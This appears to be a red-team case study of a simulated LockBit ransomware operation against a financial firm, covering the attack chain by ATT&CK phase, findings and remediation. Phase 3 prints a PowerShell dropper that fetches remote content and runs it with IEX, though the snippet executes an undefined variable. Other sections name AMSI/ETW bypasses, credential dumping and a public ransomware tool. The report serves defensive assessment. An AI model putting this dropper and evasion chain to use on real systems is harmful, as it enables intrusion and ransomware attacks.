Red Team Operation: LockBit Ransomware Simulation - Technical Case Study

Executive Summary

This technical case study details a Red Team operation conducted for a mid-sized financial sector organization. The operation simulated the real-world Tactics, Techniques, and Procedures (TTPs) of the LockBit ransomware group to assess the organization's cyber defense capabilities.

Operation Overview

• Target: Financial sector organization (200+ employees, hybrid infrastructure)
• Methodology: LockBit 3.0 ransomware group TTPs simulation
• Initial Access Vector: Compromised VPN credentials
• C2 Infrastructure: Cobalt Strike (custom profile, domain fronting)
• Ransomware: PSRansom (PowerShell-based, custom in-house evasion)
• Duration: 72 hours from initial access to domain compromise
• Detection Status: Undetected for first 48 hours, manually stopped

Critical Findings

1. Perimeter Security Weaknesses: VPN MFA not enforced, credential stuffing successful
2. Lateral Movement: EDR solution failed to detect PowerShell AMSI bypass and process hollowing
3. Privilege Escalation: Domain admin hashes easily obtained via LSASS memory dump
4. Data Exfiltration: 15 GB of sensitive data exfiltrated to Azure blob storage, undetected
5. Ransomware Deployment: Custom PSRansom successfully deployed on 120+ servers, AV/EDR bypass successful

Impact Assessment

In a real LockBit attack, the organization would face:

• Operational: 7-10 days of complete operational disruption
• Financial: Estimated $2-3 million USD (downtime, ransom, recovery, legal)
• Data Loss: 15 GB of sensitive customer and financial data breach
• Compliance: Violations of data protection regulations, potential fines
• Reputation: Customer trust loss and media impact

Attack Chain Analysis

Phase 1: Reconnaissance (MITRE: TA0043)

Passive reconnaissance gathered the following information:

Techniques

• T1595.002 - Vulnerability Scanning: Open ports identified via Shodan, Censys
• T1593.002 - Search Engines: Google dorking revealed open directories and sensitive documents
• T1589.001 - Credentials: 47 valid email addresses found in data breach databases

Phase 2: Initial Access (MITRE: TA0001)

T1078.001 - Valid Accounts: Domain Accounts

8 of 12 hashes successfully cracked (hashcat, wordlist + rules). Credential stuffing attack executed:

Username: mguler@target-corp.com
Password: Corporate2023!
Access Point: FortiGate SSL-VPN
Timestamp: 2024-12-30 03:42:18 UTC
Source IP: 185.220.101.47 (Tor exit node)

Vulnerability: No VPN MFA, widespread password reuse, weak account lockout policy (10 attempts)

Phase 3: Execution & C2 Setup (MITRE: TA0002, TA0011)

T1059.001 - PowerShell

Custom PowerShell dropper deployed Cobalt Strike beacon:

$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)')
$url = 'https://cdn.cloudflare-cdn.workers.dev/jquery-3.6.0.min.js'
$data = $wc.DownloadData($url)
IEX $decoded

Evasion Techniques:

1. AMSI Bypass (T1562.001): Matt Graeber's reflection method
2. ETW Patching: Event Tracing Windows disabled
3. Domain Fronting: C2 traffic routed through legitimate CDN

Phase 4-7: Privilege Escalation, Lateral Movement, Exfiltration

• Mimikatz: LSASS memory dump for credentials
• Kerberoasting: Service account with weak password
• PsExec: SMB-based lateral movement to 22 critical servers
• Azure Blob Storage: 15 GB encrypted exfiltration

Phase 8: Impact - Ransomware Deployment

T1486 - Data Encrypted for Impact

PSRansom (https://github.com/JoelGMSec/PSRansom) with custom evasion:

Custom Evasion:

• AMSI Bypass: AmsiScanBuffer memory patching
• ETW Bypass: EtwEventWrite function hooking
• Obfuscation: Variable randomization, string encryption
• Process Hollowing: Legitimate svchost.exe process

Simulation Results:

• Successfully deployed: 127/142 servers
• EDR blocked: 0
• Average encryption speed: 120 MB/second

MITRE ATT&CK Mapping

Tactic	Technique	Tool/Method
Initial Access	T1078, T1133	Credential Stuffing, VPN
Execution	T1059.001	PowerShell
Persistence	T1053.005, T1546.003	Scheduled Task, WMI
Privilege Escalation	T1003.001, T1558.003	Mimikatz, Kerberoasting
Defense Evasion	T1562.001, T1055.012	AMSI Bypass, Process Hollowing
Lateral Movement	T1021.002	PsExec
Exfiltration	T1041	Azure Blob Storage
Impact	T1486, T1490	PSRansom, Shadow Copy Deletion

Critical Vulnerabilities

Critical Level

1. VPN MFA Absence

Risk Score: 9.8 (CVSS)

• Detail: FortiGate SSL-VPN did not require multi-factor authentication
• Recommendation: Enforce TOTP or hardware token MFA for all VPN access

2. Weak Domain Admin Password

Risk Score: 9.5 (CVSS)

• Detail: Service account in Domain Admins with weak password
• Recommendation: Implement gMSA, 25+ character random passwords, PAM solution

3. EDR Evasion Success

Risk Score: 9.0 (CVSS)

• Detail: AMSI bypass and process hollowing undetected
• Recommendation: Update EDR, enable behavioral analysis, PowerShell CLM

Remediation Roadmap

Immediate Actions (0-30 Days)

1. Enable VPN MFA - Cost: $15,000, Risk Reduction: 60%
2. Domain Admin Cleanup - Audit privileged accounts, implement gMSA
3. EDR Tuning - Update threat intelligence, enable behavioral detection

Short-term Actions (1-3 Months)

4. Network Segmentation - VLAN isolation, firewall rules
5. PowerShell Hardening - Script block logging, CLM
6. DLP Implementation - Microsoft Purview or similar

Long-term Actions (6-12 Months)

7. Zero Trust Architecture - Identity verification, device compliance
8. Security Automation (SOAR) - Automated response playbooks
9. Continuous Red Team Program - Bi-annual purple team exercises

Conclusion

This Red Team operation successfully simulated LockBit ransomware TTPs with high accuracy. 72 hours from initial access to full domain compromise and 0% detection rate in the first 48 hours demonstrate critical security weaknesses.

Key Takeaways

1. Perimeter security alone is insufficient - Single credential compromise led to full network access
2. Privileged account hygiene is critical - Weak domain admin password was the pivotal failure point
3. Modern evasion bypasses EDR - Known techniques remained undetected
4. Detection ≠ Prevention - 72-hour window allowed complete compromise
5. Defense in Depth is mandatory - Multiple security layers required

Modern ransomware groups are highly sophisticated and fast. Organizations need continuous testing, improvement, and adaptation rather than static defenses.

Red Team operations should be repeated periodically to continuously test defense effectiveness.

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This technical case study is an anonymized version of an ethical hacking operation conducted by Netlore Security Red Team. All sensitive information has been changed. The operation was performed under full legal authorization and Rules of Engagement.

Want to test your organization's resilience against ransomware and APT attacks? Netlore Security Red Team offers realistic security assessments with LockBit, Conti, and APT threat actor simulations. Contact us: redteam@netlore.com.tr